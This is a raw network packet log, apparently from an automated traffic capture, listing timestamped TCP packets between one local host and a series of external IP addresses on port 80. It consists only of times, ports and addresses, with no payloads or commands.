Oct 28, 2024 16:51:24.197026968 CET	50022	80	192.168.2.5	18.246.231.120
Oct 28, 2024 16:51:24.197052956 CET	50022	80	192.168.2.5	18.246.231.120
Oct 28, 2024 16:51:24.202547073 CET	80	50022	18.246.231.120	192.168.2.5
Oct 28, 2024 16:51:24.202626944 CET	80	50022	18.246.231.120	192.168.2.5
Oct 28, 2024 16:51:25.039685965 CET	80	50022	18.246.231.120	192.168.2.5
Oct 28, 2024 16:51:25.039853096 CET	50022	80	192.168.2.5	18.246.231.120
Oct 28, 2024 16:51:25.046900988 CET	80	50022	18.246.231.120	192.168.2.5
Oct 28, 2024 16:51:25.046967983 CET	50022	80	192.168.2.5	18.246.231.120
Oct 28, 2024 16:51:25.059369087 CET	50023	80	192.168.2.5	3.254.94.185
Oct 28, 2024 16:51:25.065311909 CET	80	50023	3.254.94.185	192.168.2.5
Oct 28, 2024 16:51:25.065414906 CET	50023	80	192.168.2.5	3.254.94.185
Oct 28, 2024 16:51:25.065527916 CET	50023	80	192.168.2.5	3.254.94.185
Oct 28, 2024 16:51:25.065555096 CET	50023	80	192.168.2.5	3.254.94.185
Oct 28, 2024 16:51:25.071433067 CET	80	50023	3.254.94.185	192.168.2.5
Oct 28, 2024 16:51:25.072253942 CET	80	50023	3.254.94.185	192.168.2.5
Oct 28, 2024 16:51:26.040486097 CET	80	50023	3.254.94.185	192.168.2.5
Oct 28, 2024 16:51:26.041862965 CET	50023	80	192.168.2.5	3.254.94.185
Oct 28, 2024 16:51:26.049078941 CET	80	50023	3.254.94.185	192.168.2.5
Oct 28, 2024 16:51:26.049603939 CET	50023	80	192.168.2.5	3.254.94.185
Oct 28, 2024 16:51:26.056938887 CET	50024	80	192.168.2.5	85.214.228.140
Oct 28, 2024 16:51:26.062557936 CET	80	50024	85.214.228.140	192.168.2.5
Oct 28, 2024 16:51:26.063330889 CET	50024	80	192.168.2.5	85.214.228.140
Oct 28, 2024 16:51:26.085664034 CET	50024	80	192.168.2.5	85.214.228.140
Oct 28, 2024 16:51:26.085680008 CET	50024	80	192.168.2.5	85.214.228.140
Oct 28, 2024 16:51:26.091144085 CET	80	50024	85.214.228.140	192.168.2.5
Oct 28, 2024 16:51:26.092075109 CET	80	50024	85.214.228.140	192.168.2.5
Oct 28, 2024 16:51:26.957945108 CET	80	50024	85.214.228.140	192.168.2.5
Oct 28, 2024 16:51:26.958076000 CET	80	50024	85.214.228.140	192.168.2.5
Oct 28, 2024 16:51:26.958132982 CET	50024	80	192.168.2.5	85.214.228.140
Oct 28, 2024 16:51:26.996377945 CET	50025	80	192.168.2.5	47.129.31.212
Oct 28, 2024 16:51:27.001985073 CET	80	50025	47.129.31.212	192.168.2.5
Oct 28, 2024 16:51:27.002051115 CET	50025	80	192.168.2.5	47.129.31.212
Oct 28, 2024 16:51:27.002204895 CET	50025	80	192.168.2.5	47.129.31.212
Oct 28, 2024 16:51:27.002233982 CET	50025	80	192.168.2.5	47.129.31.212
Oct 28, 2024 16:51:27.007627964 CET	80	50025	47.129.31.212	192.168.2.5
Oct 28, 2024 16:51:27.007680893 CET	80	50025	47.129.31.212	192.168.2.5
Oct 28, 2024 16:51:28.444619894 CET	80	50025	47.129.31.212	192.168.2.5
Oct 28, 2024 16:51:28.444798946 CET	50025	80	192.168.2.5	47.129.31.212
Oct 28, 2024 16:51:28.450719118 CET	80	50025	47.129.31.212	192.168.2.5
Oct 28, 2024 16:51:28.450792074 CET	50025	80	192.168.2.5	47.129.31.212
Oct 28, 2024 16:51:28.460519075 CET	50026	80	192.168.2.5	34.211.97.45
Oct 28, 2024 16:51:28.466176033 CET	80	50026	34.211.97.45	192.168.2.5
Oct 28, 2024 16:51:28.466250896 CET	50026	80	192.168.2.5	34.211.97.45
Oct 28, 2024 16:51:28.466916084 CET	50026	80	192.168.2.5	34.211.97.45
Oct 28, 2024 16:51:28.467176914 CET	50026	80	192.168.2.5	34.211.97.45
Oct 28, 2024 16:51:28.472395897 CET	80	50026	34.211.97.45	192.168.2.5
Oct 28, 2024 16:51:28.472631931 CET	80	50026	34.211.97.45	192.168.2.5
Oct 28, 2024 16:51:29.299953938 CET	80	50026	34.211.97.45	192.168.2.5
Oct 28, 2024 16:51:29.397011995 CET	50026	80	192.168.2.5	34.211.97.45
Oct 28, 2024 16:51:29.414948940 CET	80	50026	34.211.97.45	192.168.2.5
Oct 28, 2024 16:51:29.418992996 CET	50026	80	192.168.2.5	34.211.97.45
Oct 28, 2024 16:51:29.634552956 CET	50026	80	192.168.2.5	34.211.97.45
Oct 28, 2024 16:51:29.640341043 CET	80	50026	34.211.97.45	192.168.2.5
Oct 28, 2024 16:51:29.673166990 CET	50027	80	192.168.2.5	47.129.31.212
Oct 28, 2024 16:51:29.680381060 CET	80	50027	47.129.31.212	192.168.2.5
Oct 28, 2024 16:51:29.680481911 CET	50027	80	192.168.2.5	47.129.31.212
Oct 28, 2024 16:51:29.680797100 CET	50027	80	192.168.2.5	47.129.31.212
Oct 28, 2024 16:51:29.680833101 CET	50027	80	192.168.2.5	47.129.31.212
Oct 28, 2024 16:51:29.686651945 CET	80	50027	47.129.31.212	192.168.2.5
Oct 28, 2024 16:51:29.686708927 CET	80	50027	47.129.31.212	192.168.2.5
Oct 28, 2024 16:51:31.090712070 CET	80	50027	47.129.31.212	192.168.2.5
Oct 28, 2024 16:51:31.090955019 CET	50027	80	192.168.2.5	47.129.31.212
Oct 28, 2024 16:51:31.096909046 CET	80	50027	47.129.31.212	192.168.2.5
Oct 28, 2024 16:51:31.097281933 CET	50027	80	192.168.2.5	47.129.31.212
Oct 28, 2024 16:51:31.110600948 CET	50028	80	192.168.2.5	18.208.156.248
Oct 28, 2024 16:51:31.115962982 CET	80	50028	18.208.156.248	192.168.2.5
Oct 28, 2024 16:51:31.116554976 CET	50028	80	192.168.2.5	18.208.156.248
Oct 28, 2024 16:51:31.147864103 CET	50028	80	192.168.2.5	18.208.156.248
Oct 28, 2024 16:51:31.147901058 CET	50028	80	192.168.2.5	18.208.156.248
Oct 28, 2024 16:51:31.153496981 CET	80	50028	18.208.156.248	192.168.2.5
Oct 28, 2024 16:51:31.153553009 CET	80	50028	18.208.156.248	192.168.2.5
Oct 28, 2024 16:51:31.799316883 CET	80	50028	18.208.156.248	192.168.2.5
Oct 28, 2024 16:51:31.818835974 CET	50028	80	192.168.2.5	18.208.156.248
Oct 28, 2024 16:51:31.825174093 CET	80	50028	18.208.156.248	192.168.2.5
Oct 28, 2024 16:51:31.825232029 CET	50028	80	192.168.2.5	18.208.156.248
Oct 28, 2024 16:51:31.868124962 CET	50029	80	192.168.2.5	13.251.16.150
Oct 28, 2024 16:51:31.873658895 CET	80	50029	13.251.16.150	192.168.2.5
Oct 28, 2024 16:51:31.873740911 CET	50029	80	192.168.2.5	13.251.16.150
Oct 28, 2024 16:51:31.874021053 CET	50029	80	192.168.2.5	13.251.16.150
Oct 28, 2024 16:51:31.874051094 CET	50029	80	192.168.2.5	13.251.16.150
Oct 28, 2024 16:51:31.879329920 CET	80	50029	13.251.16.150	192.168.2.5
Oct 28, 2024 16:51:31.879957914 CET	80	50029	13.251.16.150	192.168.2.5
Oct 28, 2024 16:51:33.305397987 CET	80	50029	13.251.16.150	192.168.2.5
Oct 28, 2024 16:51:33.314376116 CET	50029	80	192.168.2.5	13.251.16.150
Oct 28, 2024 16:51:33.320086956 CET	80	50029	13.251.16.150	192.168.2.5
Oct 28, 2024 16:51:33.320138931 CET	50029	80	192.168.2.5	13.251.16.150
Oct 28, 2024 16:51:33.331171036 CET	50030	80	192.168.2.5	34.246.200.160
Oct 28, 2024 16:51:33.336971998 CET	80	50030	34.246.200.160	192.168.2.5
Oct 28, 2024 16:51:33.337038994 CET	50030	80	192.168.2.5	34.246.200.160
Oct 28, 2024 16:51:33.337615967 CET	50030	80	192.168.2.5	34.246.200.160
Oct 28, 2024 16:51:33.337645054 CET	50030	80	192.168.2.5	34.246.200.160
Oct 28, 2024 16:51:33.343125105 CET	80	50030	34.246.200.160	192.168.2.5
Oct 28, 2024 16:51:33.343190908 CET	80	50030	34.246.200.160	192.168.2.5
Oct 28, 2024 16:51:34.333245993 CET	80	50030	34.246.200.160	192.168.2.5
Oct 28, 2024 16:51:34.338222027 CET	50030	80	192.168.2.5	34.246.200.160
Oct 28, 2024 16:51:34.374891043 CET	80	50030	34.246.200.160	192.168.2.5
Oct 28, 2024 16:51:34.374943018 CET	50030	80	192.168.2.5	34.246.200.160
Oct 28, 2024 16:51:34.386636019 CET	50031	80	192.168.2.5	18.141.10.107
Oct 28, 2024 16:51:34.392091990 CET	80	50031	18.141.10.107	192.168.2.5
Oct 28, 2024 16:51:34.392266989 CET	50031	80	192.168.2.5	18.141.10.107
Oct 28, 2024 16:51:34.399827003 CET	50031	80	192.168.2.5	18.141.10.107
Oct 28, 2024 16:51:34.399847031 CET	50031	80	192.168.2.5	18.141.10.107
Oct 28, 2024 16:51:34.405308962 CET	80	50031	18.141.10.107	192.168.2.5
Oct 28, 2024 16:51:34.405339003 CET	80	50031	18.141.10.107	192.168.2.5
Oct 28, 2024 16:51:34.499912977 CET	80	50004	165.160.15.20	192.168.2.5
Oct 28, 2024 16:51:34.499991894 CET	50004	80	192.168.2.5	165.160.15.20
Oct 28, 2024 16:51:34.500041008 CET	50004	80	192.168.2.5	165.160.15.20
Oct 28, 2024 16:51:34.505731106 CET	80	50004	165.160.15.20	192.168.2.5
Oct 28, 2024 16:51:35.816320896 CET	80	50031	18.141.10.107	192.168.2.5
Oct 28, 2024 16:51:35.818730116 CET	50031	80	192.168.2.5	18.141.10.107
Oct 28, 2024 16:51:35.824963093 CET	80	50031	18.141.10.107	192.168.2.5
Oct 28, 2024 16:51:35.825025082 CET	50031	80	192.168.2.5	18.141.10.107
Oct 28, 2024 16:51:35.872998953 CET	50032	80	192.168.2.5	13.251.16.150
Oct 28, 2024 16:51:35.878789902 CET	80	50032	13.251.16.150	192.168.2.5
Oct 28, 2024 16:51:35.878870964 CET	50032	80	192.168.2.5	13.251.16.150
Oct 28, 2024 16:51:35.898600101 CET	50032	80	192.168.2.5	13.251.16.150
Oct 28, 2024 16:51:35.898655891 CET	50032	80	192.168.2.5	13.251.16.150
Oct 28, 2024 16:51:35.904093027 CET	80	50032	13.251.16.150	192.168.2.5
Oct 28, 2024 16:51:35.904125929 CET	80	50032	13.251.16.150	192.168.2.5
Oct 28, 2024 16:51:37.315936089 CET	80	50032	13.251.16.150	192.168.2.5
Oct 28, 2024 16:51:37.316241026 CET	50032	80	192.168.2.5	13.251.16.150
Oct 28, 2024 16:51:37.322603941 CET	80	50032	13.251.16.150	192.168.2.5
Oct 28, 2024 16:51:37.322664976 CET	50032	80	192.168.2.5	13.251.16.150
Oct 28, 2024 16:51:37.331645012 CET	50033	80	192.168.2.5	18.208.156.248
Oct 28, 2024 16:51:37.337434053 CET	80	50033	18.208.156.248	192.168.2.5
Oct 28, 2024 16:51:37.337512970 CET	50033	80	192.168.2.5	18.208.156.248
Oct 28, 2024 16:51:37.337641954 CET	50033	80	192.168.2.5	18.208.156.248
Oct 28, 2024 16:51:37.337667942 CET	50033	80	192.168.2.5	18.208.156.248
Oct 28, 2024 16:51:37.343374014 CET	80	50033	18.208.156.248	192.168.2.5
Oct 28, 2024 16:51:37.343406916 CET	80	50033	18.208.156.248	192.168.2.5
Oct 28, 2024 16:51:38.031399012 CET	80	50033	18.208.156.248	192.168.2.5
Oct 28, 2024 16:51:38.031626940 CET	50033	80	192.168.2.5	18.208.156.248
Oct 28, 2024 16:51:38.037986040 CET	80	50033	18.208.156.248	192.168.2.5
Oct 28, 2024 16:51:38.038058043 CET	50033	80	192.168.2.5	18.208.156.248
Oct 28, 2024 16:51:38.047910929 CET	50034	80	192.168.2.5	18.246.231.120
Oct 28, 2024 16:51:38.055393934 CET	80	50034	18.246.231.120	192.168.2.5
Oct 28, 2024 16:51:38.055480003 CET	50034	80	192.168.2.5	18.246.231.120
Oct 28, 2024 16:51:38.055713892 CET	50034	80	192.168.2.5	18.246.231.120
Oct 28, 2024 16:51:38.055773973 CET	50034	80	192.168.2.5	18.246.231.120
Oct 28, 2024 16:51:38.062637091 CET	80	50034	18.246.231.120	192.168.2.5
Oct 28, 2024 16:51:38.062849045 CET	80	50034	18.246.231.120	192.168.2.5
Oct 28, 2024 16:51:38.882219076 CET	80	50034	18.246.231.120	192.168.2.5
Oct 28, 2024 16:51:38.882628918 CET	50034	80	192.168.2.5	18.246.231.120
Oct 28, 2024 16:51:38.889791965 CET	80	50034	18.246.231.120	192.168.2.5
Oct 28, 2024 16:51:38.889911890 CET	50034	80	192.168.2.5	18.246.231.120
Oct 28, 2024 16:51:38.903459072 CET	50035	80	192.168.2.5	44.221.84.105
Oct 28, 2024 16:51:38.910561085 CET	80	50035	44.221.84.105	192.168.2.5
Oct 28, 2024 16:51:38.910654068 CET	50035	80	192.168.2.5	44.221.84.105
Oct 28, 2024 16:51:38.910871983 CET	50035	80	192.168.2.5	44.221.84.105
Oct 28, 2024 16:51:38.910923004 CET	50035	80	192.168.2.5	44.221.84.105
Oct 28, 2024 16:51:38.916848898 CET	80	50035	44.221.84.105	192.168.2.5
Oct 28, 2024 16:51:38.916878939 CET	80	50035	44.221.84.105	192.168.2.5
Oct 28, 2024 16:51:39.574330091 CET	80	50035	44.221.84.105	192.168.2.5
Oct 28, 2024 16:51:39.574532032 CET	50035	80	192.168.2.5	44.221.84.105
Oct 28, 2024 16:51:39.580660105 CET	80	50035	44.221.84.105	192.168.2.5
Oct 28, 2024 16:51:39.580730915 CET	50035	80	192.168.2.5	44.221.84.105
Oct 28, 2024 16:51:39.780931950 CET	50036	80	192.168.2.5	54.244.188.177
Oct 28, 2024 16:51:39.786953926 CET	80	50036	54.244.188.177	192.168.2.5
Oct 28, 2024 16:51:39.787031889 CET	50036	80	192.168.2.5	54.244.188.177
Oct 28, 2024 16:51:39.787156105 CET	50036	80	192.168.2.5	54.244.188.177
Oct 28, 2024 16:51:39.787187099 CET	50036	80	192.168.2.5	54.244.188.177
Oct 28, 2024 16:51:39.792695999 CET	80	50036	54.244.188.177	192.168.2.5
Oct 28, 2024 16:51:39.793076992 CET	80	50036	54.244.188.177	192.168.2.5
Oct 28, 2024 16:51:40.629626989 CET	80	50036	54.244.188.177	192.168.2.5
Oct 28, 2024 16:51:40.629981995 CET	50036	80	192.168.2.5	54.244.188.177
Oct 28, 2024 16:51:40.636141062 CET	80	50036	54.244.188.177	192.168.2.5
Oct 28, 2024 16:51:40.636234045 CET	50036	80	192.168.2.5	54.244.188.177
Oct 28, 2024 16:51:40.646662951 CET	50037	80	192.168.2.5	3.254.94.185
Oct 28, 2024 16:51:40.652029037 CET	80	50037	3.254.94.185	192.168.2.5
Oct 28, 2024 16:51:40.652139902 CET	50037	80	192.168.2.5	3.254.94.185
Oct 28, 2024 16:51:40.652286053 CET	50037	80	192.168.2.5	3.254.94.185
Oct 28, 2024 16:51:40.652313948 CET	50037	80	192.168.2.5	3.254.94.185
Oct 28, 2024 16:51:40.657660961 CET	80	50037	3.254.94.185	192.168.2.5
Oct 28, 2024 16:51:40.657691002 CET	80	50037	3.254.94.185	192.168.2.5
Oct 28, 2024 16:51:41.619568110 CET	80	50037	3.254.94.185	192.168.2.5
Oct 28, 2024 16:51:41.619856119 CET	50037	80	192.168.2.5	3.254.94.185
Oct 28, 2024 16:51:41.626322985 CET	80	50037	3.254.94.185	192.168.2.5
Oct 28, 2024 16:51:41.626405954 CET	50037	80	192.168.2.5	3.254.94.185
Oct 28, 2024 16:51:41.634670019 CET	50038	80	192.168.2.5	18.141.10.107
Oct 28, 2024 16:51:41.640584946 CET	80	50038	18.141.10.107	192.168.2.5
Oct 28, 2024 16:51:41.640675068 CET	50038	80	192.168.2.5	18.141.10.107
Oct 28, 2024 16:51:41.640803099 CET	50038	80	192.168.2.5	18.141.10.107
Oct 28, 2024 16:51:41.640830994 CET	50038	80	192.168.2.5	18.141.10.107
Oct 28, 2024 16:51:41.646209955 CET	80	50038	18.141.10.107	192.168.2.5
Oct 28, 2024 16:51:41.646378994 CET	80	50038	18.141.10.107	192.168.2.5
Oct 28, 2024 16:51:43.059278965 CET	80	50038	18.141.10.107	192.168.2.5
Oct 28, 2024 16:51:43.059479952 CET	50038	80	192.168.2.5	18.141.10.107
Oct 28, 2024 16:51:43.065536976 CET	80	50038	18.141.10.107	192.168.2.5
Oct 28, 2024 16:51:43.065608025 CET	50038	80	192.168.2.5	18.141.10.107
Oct 28, 2024 16:51:43.079333067 CET	50039	80	192.168.2.5	34.246.200.160
Oct 28, 2024 16:51:43.085112095 CET	80	50039	34.246.200.160	192.168.2.5
Oct 28, 2024 16:51:43.085202932 CET	50039	80	192.168.2.5	34.246.200.160
Oct 28, 2024 16:51:43.085338116 CET	50039	80	192.168.2.5	34.246.200.160
Oct 28, 2024 16:51:43.085338116 CET	50039	80	192.168.2.5	34.246.200.160
Oct 28, 2024 16:51:43.091613054 CET	80	50039	34.246.200.160	192.168.2.5
Oct 28, 2024 16:51:43.091644049 CET	80	50039	34.246.200.160	192.168.2.5
Oct 28, 2024 16:51:44.062854052 CET	80	50039	34.246.200.160	192.168.2.5
Oct 28, 2024 16:51:44.063088894 CET	50039	80	192.168.2.5	34.246.200.160
Oct 28, 2024 16:51:44.069824934 CET	80	50039	34.246.200.160	192.168.2.5
Oct 28, 2024 16:51:44.069901943 CET	50039	80	192.168.2.5	34.246.200.160
Oct 28, 2024 16:51:44.079957008 CET	50040	80	192.168.2.5	47.129.31.212
Oct 28, 2024 16:51:44.085448027 CET	80	50040	47.129.31.212	192.168.2.5
Oct 28, 2024 16:51:44.085557938 CET	50040	80	192.168.2.5	47.129.31.212
Oct 28, 2024 16:51:44.085705042 CET	50040	80	192.168.2.5	47.129.31.212
Oct 28, 2024 16:51:44.085737944 CET	50040	80	192.168.2.5	47.129.31.212
Oct 28, 2024 16:51:44.091185093 CET	80	50040	47.129.31.212	192.168.2.5
Oct 28, 2024 16:51:44.092137098 CET	80	50040	47.129.31.212	192.168.2.5
Oct 28, 2024 16:51:45.517138004 CET	80	50040	47.129.31.212	192.168.2.5
Oct 28, 2024 16:51:45.517463923 CET	50040	80	192.168.2.5	47.129.31.212
Oct 28, 2024 16:51:45.523523092 CET	80	50040	47.129.31.212	192.168.2.5
Oct 28, 2024 16:51:45.523586988 CET	50040	80	192.168.2.5	47.129.31.212
Oct 28, 2024 16:51:45.533852100 CET	50041	80	192.168.2.5	3.94.10.34
Oct 28, 2024 16:51:45.539568901 CET	80	50041	3.94.10.34	192.168.2.5
Oct 28, 2024 16:51:45.539668083 CET	50041	80	192.168.2.5	3.94.10.34
Oct 28, 2024 16:51:45.539834976 CET	50041	80	192.168.2.5	3.94.10.34
Oct 28, 2024 16:51:45.542960882 CET	50041	80	192.168.2.5	3.94.10.34
Oct 28, 2024 16:51:45.545205116 CET	80	50041	3.94.10.34	192.168.2.5
Oct 28, 2024 16:51:45.548475981 CET	80	50041	3.94.10.34	192.168.2.5
Oct 28, 2024 16:51:46.217255116 CET	80	50041	3.94.10.34	192.168.2.5
Oct 28, 2024 16:51:46.239727020 CET	50041	80	192.168.2.5	3.94.10.34
Oct 28, 2024 16:51:46.247380018 CET	80	50041	3.94.10.34	192.168.2.5
Oct 28, 2024 16:51:46.247440100 CET	50041	80	192.168.2.5	3.94.10.34
Oct 28, 2024 16:51:46.257220030 CET	50042	80	192.168.2.5	35.164.78.200
Oct 28, 2024 16:51:46.264353991 CET	80	50042	35.164.78.200	192.168.2.5
Oct 28, 2024 16:51:46.264458895 CET	50042	80	192.168.2.5	35.164.78.200
Oct 28, 2024 16:51:46.264581919 CET	50042	80	192.168.2.5	35.164.78.200
Oct 28, 2024 16:51:46.264606953 CET	50042	80	192.168.2.5	35.164.78.200
Oct 28, 2024 16:51:46.271914959 CET	80	50042	35.164.78.200	192.168.2.5
Oct 28, 2024 16:51:46.273113966 CET	80	50042	35.164.78.200	192.168.2.5
Oct 28, 2024 16:51:47.093986988 CET	80	50042	35.164.78.200	192.168.2.5
Oct 28, 2024 16:51:47.094168901 CET	50042	80	192.168.2.5	35.164.78.200
Oct 28, 2024 16:51:47.103279114 CET	80	50042	35.164.78.200	192.168.2.5
Oct 28, 2024 16:51:47.103336096 CET	50042	80	192.168.2.5	35.164.78.200
Oct 28, 2024 16:51:47.206000090 CET	50043	80	192.168.2.5	18.141.10.107
Oct 28, 2024 16:51:47.211711884 CET	80	50043	18.141.10.107	192.168.2.5
Oct 28, 2024 16:51:47.211926937 CET	50043	80	192.168.2.5	18.141.10.107
Oct 28, 2024 16:51:47.212018013 CET	50043	80	192.168.2.5	18.141.10.107
Oct 28, 2024 16:51:47.212018013 CET	50043	80	192.168.2.5	18.141.10.107
Oct 28, 2024 16:51:47.217634916 CET	80	50043	18.141.10.107	192.168.2.5
Oct 28, 2024 16:51:47.217663050 CET	80	50043	18.141.10.107	192.168.2.5
Oct 28, 2024 16:51:48.629209042 CET	80	50043	18.141.10.107	192.168.2.5
Oct 28, 2024 16:51:48.629684925 CET	50043	80	192.168.2.5	18.141.10.107
Oct 28, 2024 16:51:48.636063099 CET	80	50043	18.141.10.107	192.168.2.5
Oct 28, 2024 16:51:48.636253119 CET	50043	80	192.168.2.5	18.141.10.107
Oct 28, 2024 16:51:48.645169020 CET	49982	80	192.168.2.5	208.100.26.245
Oct 28, 2024 16:51:48.645198107 CET	49982	80	192.168.2.5	208.100.26.245
Oct 28, 2024 16:51:48.650610924 CET	80	49982	208.100.26.245	192.168.2.5
Oct 28, 2024 16:51:48.650708914 CET	80	49982	208.100.26.245	192.168.2.5
Oct 28, 2024 16:51:48.791265011 CET	80	49982	208.100.26.245	192.168.2.5
Oct 28, 2024 16:51:48.794641972 CET	49982	80	192.168.2.5	208.100.26.245
Oct 28, 2024 16:51:48.794708014 CET	49982	80	192.168.2.5	208.100.26.245
Oct 28, 2024 16:51:48.800179958 CET	80	49982	208.100.26.245	192.168.2.5
Oct 28, 2024 16:51:48.802088022 CET	80	49982	208.100.26.245	192.168.2.5
Oct 28, 2024 16:51:48.940088987 CET	80	49982	208.100.26.245	192.168.2.5
Oct 28, 2024 16:51:48.953423023 CET	50044	80	192.168.2.5	44.221.84.105
Oct 28, 2024 16:51:48.959011078 CET	80	50044	44.221.84.105	192.168.2.5
Oct 28, 2024 16:51:48.959110975 CET	50044	80	192.168.2.5	44.221.84.105
Oct 28, 2024 16:51:48.959253073 CET	50044	80	192.168.2.5	44.221.84.105
Oct 28, 2024 16:51:48.959253073 CET	50044	80	192.168.2.5	44.221.84.105
Oct 28, 2024 16:51:48.964895964 CET	80	50044	44.221.84.105	192.168.2.5
Oct 28, 2024 16:51:48.965063095 CET	80	50044	44.221.84.105	192.168.2.5
Oct 28, 2024 16:51:48.990799904 CET	49982	80	192.168.2.5	208.100.26.245
Oct 28, 2024 16:51:49.229429960 CET	80	49982	208.100.26.245	192.168.2.5
Oct 28, 2024 16:51:49.229530096 CET	49982	80	192.168.2.5	208.100.26.245
Oct 28, 2024 16:51:49.634098053 CET	80	50044	44.221.84.105	192.168.2.5
Oct 28, 2024 16:51:49.634265900 CET	50044	80	192.168.2.5	44.221.84.105
Oct 28, 2024 16:51:49.640228033 CET	80	50044	44.221.84.105	192.168.2.5
Oct 28, 2024 16:51:49.640300989 CET	50044	80	192.168.2.5	44.221.84.105
Oct 28, 2024 16:51:49.836112022 CET	50045	80	192.168.2.5	34.211.97.45
Oct 28, 2024 16:51:49.841516018 CET	80	50045	34.211.97.45	192.168.2.5
Oct 28, 2024 16:51:49.841622114 CET	50045	80	192.168.2.5	34.211.97.45
Oct 28, 2024 16:51:49.841701031 CET	50045	80	192.168.2.5	34.211.97.45
Oct 28, 2024 16:51:49.841715097 CET	50045	80	192.168.2.5	34.211.97.45
Oct 28, 2024 16:51:49.847099066 CET	80	50045	34.211.97.45	192.168.2.5
Oct 28, 2024 16:51:49.847816944 CET	80	50045	34.211.97.45	192.168.2.5
Oct 28, 2024 16:51:50.903523922 CET	80	50045	34.211.97.45	192.168.2.5
Oct 28, 2024 16:51:50.903604031 CET	80	50045	34.211.97.45	192.168.2.5
Oct 28, 2024 16:51:50.903620958 CET	80	50045	34.211.97.45	192.168.2.5
Oct 28, 2024 16:51:50.903671980 CET	50045	80	192.168.2.5	34.211.97.45
Oct 28, 2024 16:51:50.903671980 CET	50045	80	192.168.2.5	34.211.97.45
Oct 28, 2024 16:51:50.903707981 CET	50045	80	192.168.2.5	34.211.97.45
Oct 28, 2024 16:51:50.909450054 CET	80	50045	34.211.97.45	192.168.2.5
Oct 28, 2024 16:51:50.917540073 CET	50046	80	192.168.2.5	18.208.156.248
Oct 28, 2024 16:51:50.923494101 CET	80	50046	18.208.156.248	192.168.2.5
Oct 28, 2024 16:51:50.923563004 CET	50046	80	192.168.2.5	18.208.156.248
Oct 28, 2024 16:51:50.923712015 CET	50046	80	192.168.2.5	18.208.156.248
Oct 28, 2024 16:51:50.923747063 CET	50046	80	192.168.2.5	18.208.156.248
Oct 28, 2024 16:51:50.929898977 CET	80	50046	18.208.156.248	192.168.2.5
Oct 28, 2024 16:51:50.929955959 CET	80	50046	18.208.156.248	192.168.2.5
Oct 28, 2024 16:51:51.627598047 CET	80	50046	18.208.156.248	192.168.2.5
Oct 28, 2024 16:51:51.628076077 CET	50046	80	192.168.2.5	18.208.156.248
Oct 28, 2024 16:51:51.639136076 CET	80	50046	18.208.156.248	192.168.2.5
Oct 28, 2024 16:51:51.639350891 CET	50046	80	192.168.2.5	18.208.156.248
Oct 28, 2024 16:51:51.642949104 CET	50047	80	192.168.2.5	3.254.94.185
Oct 28, 2024 16:51:51.648540974 CET	80	50047	3.254.94.185	192.168.2.5
Oct 28, 2024 16:51:51.648653984 CET	50047	80	192.168.2.5	3.254.94.185
Oct 28, 2024 16:51:51.648871899 CET	50047	80	192.168.2.5	3.254.94.185
Oct 28, 2024 16:51:51.648905039 CET	50047	80	192.168.2.5	3.254.94.185
Oct 28, 2024 16:51:51.654580116 CET	80	50047	3.254.94.185	192.168.2.5
Oct 28, 2024 16:51:51.654741049 CET	80	50047	3.254.94.185	192.168.2.5
Oct 28, 2024 16:51:52.612293959 CET	80	50047	3.254.94.185	192.168.2.5
Oct 28, 2024 16:51:52.612504005 CET	50047	80	192.168.2.5	3.254.94.185
Oct 28, 2024 16:51:52.623565912 CET	80	50047	3.254.94.185	192.168.2.5
Oct 28, 2024 16:51:52.623733997 CET	50047	80	192.168.2.5	3.254.94.185
Oct 28, 2024 16:51:52.626661062 CET	50048	80	192.168.2.5	54.244.188.177
Oct 28, 2024 16:51:52.633008957 CET	80	50048	54.244.188.177	192.168.2.5
Oct 28, 2024 16:51:52.633105040 CET	50048	80	192.168.2.5	54.244.188.177
Oct 28, 2024 16:51:52.633246899 CET	50048	80	192.168.2.5	54.244.188.177
Oct 28, 2024 16:51:52.633289099 CET	50048	80	192.168.2.5	54.244.188.177
Oct 28, 2024 16:51:52.639364004 CET	80	50048	54.244.188.177	192.168.2.5
Oct 28, 2024 16:51:52.639396906 CET	80	50048	54.244.188.177	192.168.2.5
Oct 28, 2024 16:51:53.479470968 CET	80	50048	54.244.188.177	192.168.2.5
Oct 28, 2024 16:51:53.479649067 CET	50048	80	192.168.2.5	54.244.188.177
Oct 28, 2024 16:51:53.486660004 CET	80	50048	54.244.188.177	192.168.2.5
Oct 28, 2024 16:51:53.486728907 CET	50048	80	192.168.2.5	54.244.188.177
Oct 28, 2024 16:51:53.496562004 CET	50049	80	192.168.2.5	54.244.188.177
Oct 28, 2024 16:51:53.503570080 CET	80	50049	54.244.188.177	192.168.2.5
Oct 28, 2024 16:51:53.503659010 CET	50049	80	192.168.2.5	54.244.188.177
Oct 28, 2024 16:51:53.503767967 CET	50049	80	192.168.2.5	54.244.188.177
Oct 28, 2024 16:51:53.503797054 CET	50049	80	192.168.2.5	54.244.188.177
Oct 28, 2024 16:51:53.509325027 CET	80	50049	54.244.188.177	192.168.2.5
Oct 28, 2024 16:51:53.509354115 CET	80	50049	54.244.188.177	192.168.2.5
Oct 28, 2024 16:51:54.333273888 CET	80	50049	54.244.188.177	192.168.2.5
Oct 28, 2024 16:51:54.333513975 CET	50049	80	192.168.2.5	54.244.188.177
Oct 28, 2024 16:51:54.339844942 CET	80	50049	54.244.188.177	192.168.2.5
Oct 28, 2024 16:51:54.339926958 CET	50049	80	192.168.2.5	54.244.188.177
Oct 28, 2024 16:51:54.347666025 CET	50050	80	192.168.2.5	18.246.231.120
Oct 28, 2024 16:51:54.354393005 CET	80	50050	18.246.231.120	192.168.2.5
Oct 28, 2024 16:51:54.354480028 CET	50050	80	192.168.2.5	18.246.231.120
Oct 28, 2024 16:51:54.354605913 CET	50050	80	192.168.2.5	18.246.231.120
Oct 28, 2024 16:51:54.354635000 CET	50050	80	192.168.2.5	18.246.231.120
Oct 28, 2024 16:51:54.360330105 CET	80	50050	18.246.231.120	192.168.2.5
Oct 28, 2024 16:51:54.361166000 CET	80	50050	18.246.231.120	192.168.2.5
Oct 28, 2024 16:51:55.194593906 CET	80	50050	18.246.231.120	192.168.2.5
Oct 28, 2024 16:51:55.194813013 CET	50050	80	192.168.2.5	18.246.231.120
Oct 28, 2024 16:51:55.201499939 CET	80	50050	18.246.231.120	192.168.2.5
Oct 28, 2024 16:51:55.201565027 CET	50050	80	192.168.2.5	18.246.231.120
Oct 28, 2024 16:51:55.648260117 CET	50051	80	192.168.2.5	18.208.156.248
Oct 28, 2024 16:51:55.654150963 CET	80	50051	18.208.156.248	192.168.2.5
Oct 28, 2024 16:51:55.654253960 CET	50051	80	192.168.2.5	18.208.156.248
